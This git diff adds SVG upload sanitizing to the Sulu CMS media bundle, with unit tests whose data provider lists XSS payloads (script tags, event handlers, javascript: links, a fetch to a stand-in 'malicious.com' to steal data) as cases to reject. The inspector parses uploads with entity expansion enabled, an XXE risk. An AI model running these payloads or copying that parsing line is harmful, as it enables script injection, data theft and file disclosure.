File size: 22,515 Bytes
5fcd275 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 | diff --git a/composer.json b/composer.json
index 8d8a2c0a0da..4018f33190b 100644
--- a/composer.json
+++ b/composer.json
@@ -84,6 +84,7 @@
"symfony/finder": "^5.4 || ^6.0",
"symfony/form": "^5.4 || ^6.0",
"symfony/framework-bundle": "^5.4 || ^6.0",
+ "symfony/html-sanitizer": "^5.4 || ^6.0",
"symfony/http-client": "^5.4 || ^6.0",
"symfony/http-foundation": "^5.4 || ^6.0",
"symfony/http-kernel": "^5.4 || ^6.0",
@@ -252,10 +253,13 @@
"lint-rector": [
"Composer\\Config::disableProcessTimeout",
"@php bin/websiteconsole cache:warmup --env=dev",
+ "@php bin/adminconsole cache:warmup --env=dev",
"@php vendor/bin/rector process --dry-run"
],
"rector": [
"Composer\\Config::disableProcessTimeout",
+ "@php bin/websiteconsole cache:warmup --env=dev",
+ "@php bin/adminconsole cache:warmup --env=dev",
"@php vendor/bin/rector process"
],
"lint-composer": "@composer validate --strict",
diff --git a/src/Sulu/Bundle/MediaBundle/FileInspector/FileInspectorInterface.php b/src/Sulu/Bundle/MediaBundle/FileInspector/FileInspectorInterface.php
new file mode 100644
index 00000000000..25e45d8494e
--- /dev/null
+++ b/src/Sulu/Bundle/MediaBundle/FileInspector/FileInspectorInterface.php
@@ -0,0 +1,24 @@
+<?php
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\FileInspector;
+
+use Symfony\Component\HttpFoundation\File\UploadedFile;
+
+interface FileInspectorInterface
+{
+ public function supports(string $mimeType): bool;
+
+ /**
+ * @throws UnsafeFileException
+ */
+ public function inspect(UploadedFile $file): UploadedFile;
+}
diff --git a/src/Sulu/Bundle/MediaBundle/FileInspector/SvgFileInspector.php b/src/Sulu/Bundle/MediaBundle/FileInspector/SvgFileInspector.php
new file mode 100644
index 00000000000..7883d0afe66
--- /dev/null
+++ b/src/Sulu/Bundle/MediaBundle/FileInspector/SvgFileInspector.php
@@ -0,0 +1,100 @@
+<?php
+
+declare(strict_types=1);
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\FileInspector;
+
+use Symfony\Component\HtmlSanitizer\HtmlSanitizerInterface;
+use Symfony\Component\HttpFoundation\File\UploadedFile;
+
+/**
+ * @final
+ */
+class SvgFileInspector implements FileInspectorInterface
+{
+ private const UNSAFE_ELEMENTS = ['script', 'iframe', 'foreignObject', 'use', 'image', 'animate'];
+ private const UNSAFE_ATTRIBUTES = ['on', 'xlink:href', 'href'];
+
+ public function __construct(
+ private HtmlSanitizerInterface $htmlSanitizer,
+ private HtmlSanitizerInterface $htmlSanitizerSafe,
+ ) {
+ }
+
+ public function supports(string $mimeType): bool
+ {
+ return 'image/svg+xml' === $mimeType;
+ }
+
+ public function inspect(UploadedFile $file): UploadedFile
+ {
+ $svg = $file->getContent();
+
+ if ($this->containsUnsafeContent($svg)) {
+ throw new UnsafeFileException($file);
+ }
+
+ $cleanedUpSvg = $this->htmlSanitizer->sanitize($svg);
+ $safeSvg = $this->htmlSanitizerSafe->sanitize($svg);
+
+ if ($this->normalizeString($cleanedUpSvg) !== $this->normalizeString($safeSvg)) {
+ throw new UnsafeFileException($file);
+ }
+
+ return $file;
+ }
+
+ private function containsUnsafeContent(string $svg): bool
+ {
+ \libxml_use_internal_errors(true);
+ $dom = new \DOMDocument();
+ $dom->loadXML($svg, \LIBXML_NOENT | \LIBXML_DTDLOAD);
+ \libxml_clear_errors();
+
+ foreach (self::UNSAFE_ELEMENTS as $element) {
+ if ($dom->getElementsByTagName($element)->length > 0) {
+ return true;
+ }
+ }
+
+ $xpath = new \DOMXPath($dom);
+ $xpath->registerNamespace('svg', 'http://www.w3.org/2000/svg');
+ $xpath->registerNamespace('xlink', 'http://www.w3.org/1999/xlink');
+
+ foreach (self::UNSAFE_ATTRIBUTES as $attr) {
+ $query = "//*[starts-with(name(@*), '$attr') or @*[contains(., 'javascript:')]]";
+ $node = $xpath->query($query);
+ if (false === $node || $node->length > 0) {
+ return true;
+ }
+ }
+
+ // Check for event handlers
+ $eventHandlerQuery = "//*[@*[starts-with(name(), 'on')]]";
+ $node = $xpath->query($eventHandlerQuery);
+ if (false === $node || $node->length > 0) {
+ return true;
+ }
+
+ // Check for data URIs
+ if (\str_contains($svg, 'data:')) {
+ return true;
+ }
+
+ return false;
+ }
+
+ private function normalizeString(string $input): string
+ {
+ return \strtolower((string) \preg_replace('/\s+/', '', $input));
+ }
+}
diff --git a/src/Sulu/Bundle/MediaBundle/FileInspector/SvgSanitizerFactory.php b/src/Sulu/Bundle/MediaBundle/FileInspector/SvgSanitizerFactory.php
new file mode 100644
index 00000000000..7fcdc30b6ea
--- /dev/null
+++ b/src/Sulu/Bundle/MediaBundle/FileInspector/SvgSanitizerFactory.php
@@ -0,0 +1,64 @@
+<?php
+
+declare(strict_types=1);
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\FileInspector;
+
+use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+use Symfony\Component\HtmlSanitizer\HtmlSanitizerInterface;
+
+/**
+ * @internal
+ */
+final class SvgSanitizerFactory
+{
+ public function createSafe(): HtmlSanitizerInterface
+ {
+ $config = (new HtmlSanitizerConfig())
+ ->allowElement('svg', ['width', 'height', 'viewBox'])
+ ->allowElement('g', ['id'])
+ ->allowElement('path', ['d', 'fill', 'stroke', 'stroke-width', 'class'])
+ ->allowElement('circle', ['cx', 'cy', 'r', 'fill', 'stroke', 'stroke-width', 'class'])
+ ->allowElement('rect', ['x', 'y', 'width', 'height', 'fill', 'stroke', 'stroke-width', 'class'])
+ ->allowElement('line', ['x1', 'y1', 'x2', 'y2', 'stroke', 'stroke-width', 'class'])
+ ->allowElement('polyline', ['points', 'fill', 'stroke', 'stroke-width', 'class'])
+ ->allowElement('polygon', ['points', 'fill', 'stroke', 'stroke-width', 'class'])
+ ->allowElement('text', ['x', 'y', 'font-family', 'font-size', 'fill', 'class'])
+ ->allowElement('style')
+ ->allowAttribute('class', '*')
+ ->allowAttribute('style', '*');
+
+ return new HtmlSanitizer($config);
+ }
+
+ public function create(): HtmlSanitizerInterface
+ {
+ $config = (new HtmlSanitizerConfig())
+ ->allowElement('svg', ['width', 'height', 'viewBox'])
+ ->allowElement('g', ['id'])
+ ->allowElement('path', ['d', 'fill', 'stroke', 'stroke-width', 'class'])
+ ->allowElement('circle', ['cx', 'cy', 'r', 'fill', 'stroke', 'stroke-width', 'class'])
+ ->allowElement('rect', ['x', 'y', 'width', 'height', 'fill', 'stroke', 'stroke-width', 'class'])
+ ->allowElement('line', ['x1', 'y1', 'x2', 'y2', 'stroke', 'stroke-width', 'class'])
+ ->allowElement('polyline', ['points', 'fill', 'stroke', 'stroke-width', 'class'])
+ ->allowElement('polygon', ['points', 'fill', 'stroke', 'stroke-width', 'class'])
+ ->allowElement('text', ['x', 'y', 'font-family', 'font-size', 'fill', 'class'])
+ ->allowElement('style')
+ ->allowAttribute('class', '*')
+ ->allowAttribute('style', '*')
+ ->dropAttribute('xlink:href', '*')
+ ->dropAttribute('href', '*');
+
+ return new HtmlSanitizer($config);
+ }
+}
diff --git a/src/Sulu/Bundle/MediaBundle/FileInspector/UnsafeFileException.php b/src/Sulu/Bundle/MediaBundle/FileInspector/UnsafeFileException.php
new file mode 100644
index 00000000000..5d6e0766cf1
--- /dev/null
+++ b/src/Sulu/Bundle/MediaBundle/FileInspector/UnsafeFileException.php
@@ -0,0 +1,31 @@
+<?php
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\FileInspector;
+
+use Symfony\Component\HttpFoundation\File\UploadedFile;
+
+class UnsafeFileException extends \Exception
+{
+ public function __construct(
+ private UploadedFile $uploadedFile,
+ ) {
+ parent::__construct(\sprintf(
+ 'The file "%s" is not safe.',
+ $uploadedFile->getClientOriginalName(),
+ ));
+ }
+
+ public function getUploadedFile(): UploadedFile
+ {
+ return $this->uploadedFile;
+ }
+}
diff --git a/src/Sulu/Bundle/MediaBundle/FileInspector/UploadFileSubscriber.php b/src/Sulu/Bundle/MediaBundle/FileInspector/UploadFileSubscriber.php
new file mode 100644
index 00000000000..32db1ac1e58
--- /dev/null
+++ b/src/Sulu/Bundle/MediaBundle/FileInspector/UploadFileSubscriber.php
@@ -0,0 +1,71 @@
+<?php
+
+declare(strict_types=1);
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\FileInspector;
+
+use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+use Symfony\Component\HttpFoundation\File\UploadedFile;
+use Symfony\Component\HttpKernel\Event\RequestEvent;
+use Symfony\Component\HttpKernel\Exception\BadRequestHttpException;
+
+/**
+ * @internal
+ */
+final class UploadFileSubscriber implements EventSubscriberInterface
+{
+ /**
+ * @return array<string, string>
+ */
+ public static function getSubscribedEvents(): array
+ {
+ return [
+ 'kernel.request' => 'onKernelRequest',
+ ];
+ }
+
+ /**
+ * @var FileInspectorInterface[]
+ */
+ private array $fileInspectors;
+
+ /**
+ * @param iterable<FileInspectorInterface> $fileInspectors
+ */
+ public function __construct(
+ iterable $fileInspectors,
+ ) {
+ $this->fileInspectors = \iterator_to_array($fileInspectors);
+ }
+
+ public function onKernelRequest(RequestEvent $event): void
+ {
+ $request = $event->getRequest();
+
+ /**
+ * @var string $key
+ * @var UploadedFile $file
+ */
+ foreach ($request->files as $key => $file) {
+ foreach ($this->fileInspectors as $fileInspector) {
+ $mimeType = $file->getClientMimeType();
+ if (null !== $mimeType && $fileInspector->supports($mimeType)) {
+ try {
+ $request->files->set($key, $fileInspector->inspect($file));
+ } catch (UnsafeFileException $exception) {
+ throw new BadRequestHttpException($exception->getMessage(), $exception);
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/src/Sulu/Bundle/MediaBundle/Resources/config/services.xml b/src/Sulu/Bundle/MediaBundle/Resources/config/services.xml
index 30241d314d7..01d71f336b0 100644
--- a/src/Sulu/Bundle/MediaBundle/Resources/config/services.xml
+++ b/src/Sulu/Bundle/MediaBundle/Resources/config/services.xml
@@ -509,5 +509,44 @@
<tag name="jms_serializer.event_subscriber"/>
<tag name="sulu.context" context="admin"/>
</service>
+
+ <service
+ id="sulu_media.file_inspector.sanitizer_factory"
+ class="Sulu\Bundle\MediaBundle\FileInspector\SvgSanitizerFactory"
+ />
+
+ <service
+ id="sulu_media.file_inspector.html_sanitizer"
+ class="Symfony\Component\HtmlSanitizer\HtmlSanitizerInterface"
+ >
+ <factory service="sulu_media.file_inspector.sanitizer_factory" method="create"/>
+ </service>
+
+ <service
+ id="sulu_media.file_inspector.html_sanitizer_safe"
+ class="Symfony\Component\HtmlSanitizer\HtmlSanitizerInterface"
+ >
+ <factory service="sulu_media.file_inspector.sanitizer_factory" method="createSafe"/>
+ </service>
+
+ <service
+ id="sulu_media.file_inspector.svg_inspector"
+ class="Sulu\Bundle\MediaBundle\FileInspector\SvgFileInspector"
+ >
+ <argument type="service" id="sulu_media.file_inspector.html_sanitizer"/>
+ <argument type="service" id="sulu_media.file_inspector.html_sanitizer_safe"/>
+
+ <tag name="sulu_media.file_inspector"/>
+ </service>
+ <service id="Sulu\Bundle\MediaBundle\FileInspector\SvgSafetyInspectorInterface" alias="sulu_media.file_inspector.svg_inspector"/>
+
+ <service
+ id="sulu_media.file_inspector.subscriber"
+ class="Sulu\Bundle\MediaBundle\FileInspector\UploadFileSubscriber"
+ >
+ <argument type="tagged" tag="sulu_media.file_inspector"/>
+
+ <tag name="kernel.event_subscriber"/>
+ </service>
</services>
</container>
diff --git a/src/Sulu/Bundle/MediaBundle/Tests/Unit/SvgInspector/SvgFileInspectorTest.php b/src/Sulu/Bundle/MediaBundle/Tests/Unit/SvgInspector/SvgFileInspectorTest.php
new file mode 100644
index 00000000000..d74fc39e74d
--- /dev/null
+++ b/src/Sulu/Bundle/MediaBundle/Tests/Unit/SvgInspector/SvgFileInspectorTest.php
@@ -0,0 +1,79 @@
+<?php
+
+declare(strict_types=1);
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\Tests\Unit\SvgInspector;
+
+use PHPUnit\Framework\TestCase;
+use Prophecy\PhpUnit\ProphecyTrait;
+use Sulu\Bundle\MediaBundle\FileInspector\SvgFileInspector;
+use Sulu\Bundle\MediaBundle\FileInspector\SvgSanitizerFactory;
+use Sulu\Bundle\MediaBundle\FileInspector\UnsafeFileException;
+use Symfony\Component\HttpFoundation\File\UploadedFile;
+
+class SvgFileInspectorTest extends TestCase
+{
+ use ProphecyTrait;
+
+ public static function provideSvgs(): \Generator
+ {
+ // Safe SVGs
+ yield 'simple svg' => ['<svg></svg>', true];
+ yield 'simple svg with text' => ['<svg>text</svg>', true];
+ yield 'svg with attributes' => ['<svg width="100" height="100" viewBox="0 0 100 100"></svg>', true];
+ yield 'svg with path' => ['<svg><path d="M10 10 H 90 V 90 H 10 L 10 10"/></svg>', true];
+ yield 'svg with style' => ['<svg><style>.cls-1{fill:none;}</style><circle class="cls-1" cx="50" cy="50" r="40"/></svg>', true];
+
+ // Potentially unsafe SVGs
+ yield 'svg with script tag' => ['<svg><script>alert("XSS")</script></svg>', false];
+ yield 'svg with event handler' => ['<svg><circle cx="50" cy="50" r="40" onclick="alert(\'XSS\')"/></svg>', false];
+ yield 'svg with iframe' => ['<svg><iframe src="http://example.com"></iframe></svg>', false];
+ yield 'svg with external reference' => ['<svg><use xlink:href="http://example.com/image.svg#fragment"/></svg>', false];
+ yield 'svg with data URI' => ['<svg><image href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg=="/></svg>', false];
+ yield 'svg with javascript in attribute' => ['<svg><a xlink:href="javascript:alert(\'XSS\')">Click me</a></svg>', false];
+
+ // Additional potentially unsafe SVGs
+ yield 'svg with onload event' => ['<svg width="100" height="100" onload="alert(\'XSS\')"></svg>', false];
+ yield 'svg with foreignObject' => ['<svg><foreignObject width="100%" height="100%"><body xmlns="http://www.w3.org/1999/xhtml"><script>alert("XSS")</script></body></foreignObject></svg>', false];
+ yield 'svg with base64 encoded script' => ['<svg><image href="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoJ1hTUyB2aWEgYmFzZTY0IScpIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiPjwv c3ZnPg==" /></svg>', false];
+ yield 'svg with setTimeout' => ['<svg><script type="text/javascript">setTimeout(function() { alert("XSS"); }, 1000);</script></svg>', false];
+ yield 'svg with external script' => ['<svg><script type="text/javascript" xlink:href="http://malicious.com/xss.js"></script></svg>', false];
+ yield 'svg with animate element' => ['<svg><circle cx="50" cy="50" r="40"><animate attributeName="r" from="40" to="20" dur="1s" begin="mouseover" onend="alert(\'XSS\')"/></circle></svg>', false];
+ yield 'svg with onclick event in text' => ['<svg><text x="10" y="50" onclick="alert(\'XSS\')">Click me!</text></svg>', false];
+ yield 'svg with external fetch' => ['<svg><script>fetch("http://malicious.com/steal-data").then(response => response.text()).then(data => console.log(data));</script></svg>', false];
+ yield 'svg with conditional script' => ['<svg><script>if (confirm("Proceed?")) { alert("XSS"); }</script></svg>', false];
+ yield 'svg with phishing link' => ['<svg><a href="http://phishing-site.com" target="_blank"><text x="10" y="50">Click here for a prize!</text></a></svg>', false];
+ }
+
+ /**
+ * @dataProvider provideSvgs
+ */
+ public function testIsSafe(string $svg, bool $expectedSafe): void
+ {
+ if (!$expectedSafe) {
+ $this->expectException(UnsafeFileException::class);
+ }
+
+ $factory = new SvgSanitizerFactory();
+
+ \file_put_contents('test.svg', $svg);
+ $uploadedFile = new UploadedFile('test.svg', 'test.svg', 'image/svg+xml');
+
+ $svgSafetyInspector = new SvgFileInspector($factory->create(), $factory->createSafe());
+
+ $result = $svgSafetyInspector->inspect($uploadedFile);
+
+ if ($expectedSafe) {
+ $this->assertSame($uploadedFile, $result);
+ }
+ }
+}
diff --git a/src/Sulu/Bundle/MediaBundle/Tests/Unit/SvgInspector/UploadFileSubscriberTest.php b/src/Sulu/Bundle/MediaBundle/Tests/Unit/SvgInspector/UploadFileSubscriberTest.php
new file mode 100644
index 00000000000..b85391fbf7a
--- /dev/null
+++ b/src/Sulu/Bundle/MediaBundle/Tests/Unit/SvgInspector/UploadFileSubscriberTest.php
@@ -0,0 +1,110 @@
+<?php
+
+declare(strict_types=1);
+
+/*
+ * This file is part of Sulu.
+ *
+ * (c) Sulu GmbH
+ *
+ * This source file is subject to the MIT license that is bundled
+ * with this source code in the file LICENSE.
+ */
+
+namespace Sulu\Bundle\MediaBundle\Tests\Unit\SvgInspector;
+
+use PHPUnit\Framework\TestCase;
+use Prophecy\PhpUnit\ProphecyTrait;
+use Prophecy\Prophecy\ObjectProphecy;
+use Sulu\Bundle\MediaBundle\FileInspector\FileInspectorInterface;
+use Sulu\Bundle\MediaBundle\FileInspector\UnsafeFileException;
+use Sulu\Bundle\MediaBundle\FileInspector\UploadFileSubscriber;
+use Symfony\Component\HttpFoundation\File\UploadedFile;
+use Symfony\Component\HttpFoundation\Request;
+use Symfony\Component\HttpKernel\Event\RequestEvent;
+use Symfony\Component\HttpKernel\Exception\BadRequestHttpException;
+use Symfony\Component\HttpKernel\HttpKernelInterface;
+
+class UploadFileSubscriberTest extends TestCase
+{
+ use ProphecyTrait;
+
+ /**
+ * @var ObjectProphecy<FileInspectorInterface>
+ */
+ private ObjectProphecy $svgInspector;
+
+ private UploadFileSubscriber $subscriber;
+
+ protected function setUp(): void
+ {
+ $this->svgInspector = $this->prophesize(FileInspectorInterface::class);
+ $this->subscriber = new UploadFileSubscriber(new \ArrayObject([$this->svgInspector->reveal()]));
+ }
+
+ public function testGetSubscribedEvents(): void
+ {
+ $this->assertSame(
+ ['kernel.request' => 'onKernelRequest'],
+ UploadFileSubscriber::getSubscribedEvents(),
+ );
+ }
+
+ public function testOnKernelRequestWithSafeSvg(): void
+ {
+ $mimeType = 'image/svg+xml';
+ $uploadedFile = new UploadedFile('test.svg', 'test.svg', $mimeType, 0, true);
+
+ $request = new Request([], [], [], [], ['file' => $uploadedFile]);
+ $event = $this->createRequestEvent($request);
+
+ $this->svgInspector->supports($mimeType)->willReturn(true);
+ $this->svgInspector->inspect($uploadedFile)->willReturn($uploadedFile);
+
+ $this->subscriber->onKernelRequest($event);
+
+ // If we reach here without exception, the test passes
+ $this->addToAssertionCount(1);
+ }
+
+ public function testOnKernelRequestWithUnsafeSvg(): void
+ {
+ $this->expectException(BadRequestHttpException::class);
+
+ $mimeType = 'image/svg+xml';
+ $uploadedFile = new UploadedFile('test.svg', 'test.svg', $mimeType, 0, true);
+
+ $request = new Request([], [], [], [], ['file' => $uploadedFile]);
+ $event = $this->createRequestEvent($request);
+
+ $this->svgInspector->supports($mimeType)->willReturn(true);
+ $this->svgInspector->inspect($uploadedFile)->willThrow(new UnsafeFileException($uploadedFile));
+
+
+ $this->subscriber->onKernelRequest($event);
+ }
+
+ public function testOnKernelRequestWithNonSvgFile(): void
+ {
+ $mimeType = 'image/jpeg';
+ $uploadedFile = new UploadedFile('test.svg', 'test.svg', $mimeType, 0, true);
+
+ $request = new Request([], [], [], [], ['file' => $uploadedFile]);
+ $event = $this->createRequestEvent($request);
+
+ $this->svgInspector->supports($mimeType)->willReturn(false);
+ $this->svgInspector->inspect($uploadedFile)->shouldNotBeCalled();
+
+ $this->subscriber->onKernelRequest($event);
+
+ // If we reach here without exception, the test passes
+ $this->addToAssertionCount(1);
+ }
+
+ private function createRequestEvent(Request $request): RequestEvent
+ {
+ $kernel = $this->prophesize(HttpKernelInterface::class);
+
+ return new RequestEvent($kernel->reveal(), $request, HttpKernelInterface::MAIN_REQUEST);
+ }
+}
|